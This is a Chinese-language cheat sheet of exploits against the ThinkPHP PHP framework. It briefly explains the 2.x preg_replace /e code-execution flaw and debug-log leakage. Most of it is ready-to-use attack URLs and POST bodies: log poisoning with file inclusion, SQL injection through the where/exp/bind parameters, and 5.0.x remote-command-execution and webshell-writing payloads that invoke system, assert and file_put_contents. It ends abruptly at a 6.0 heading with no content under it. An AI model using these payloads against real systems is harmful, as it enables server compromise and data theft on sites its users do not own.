thinkphp是一个国内轻量级的开发框架,采用php+apache,有2,3,5,6 四版本
1.使用错误的路径
111.111.111.111/sss
2.采用错误的参数
111.111.111.111/index.php/s=xxx
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
所以先来看看preg_replace这个函数,这个函数是个替换函数,而且支持正则,使用方式如下
preg_replace('正则规则','替换字符','目标字符')
下面是关于/e的解释:
//e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
测试
沙箱地址:http://sandbox.onlinephpfunctions.com/
代码
这个函数5.2~5.6都还是可以执行的,但是到了php 版本7 以上,就已经都不支持/e修饰符了
关于漏洞原理分析参考ThinkPHP系列漏洞之ThinkPHP 2.x 任意代码执行 - FreeBuf网络安全行业门户
ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,而且日志结构容易被猜解,造成信息泄露。
THINKPHP3.1结构:Runtime/Logs/Home/年份_月份_日期.log
THINKPHP3.2 结构:Application/Runtime/Logs/Home/年份_月份_日期.log
assign方法第一个变量可控=>变量覆盖=>任意文件包含=>RCE
利用日志包含,先将payload写入日志内
/index.php?m=Home&c=Index&a=index&test=-->=phpinfo();?>
包含并执行日志内的代码
index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_08_02.log
或者上传具有恶意代码的任何文件到服务器上,直接包含其文件相对或绝对路径即可
where注入
Payload:
http://127.0.0.1/cms/?id[where]=1 and 1=updatexml(1,concat(0x7e,(select database()),0x7e),1)#
exp注入
Payload:
http://127.0.0.1/cms/index.php/Home/Index/index?user[0]=exp&user[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)
bind注入
Payload:
http://127.0.0.1/cms/index.php/Home/Index/index?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&last_name=1
版本5.0.x<5.0.23
通杀RCE-payload
# 第一个
http://127.0.0.1/cms/thinkPHP5/thinkphp_5.0.0/public/?s=captcha&test=whoami
POST _method=__construct&filter[]=system&method=GET&get[]=whoami
# 第二个
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
通杀GetShellE-payload
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=12345.php&vars[1][1]=
弹出phpinfo的命令
?s=index/\think\Request/input&filter=phpinfo&data=1
?s=index/think\request/input?data[]=phpinfo()&filter=assert
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
命令执行
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/think\request/input?data[]=system('whoami')&filter=assert
?s=index/\think\Request/input&filter=system&data=whoami
ThinkPHP6.0.0-6.0.1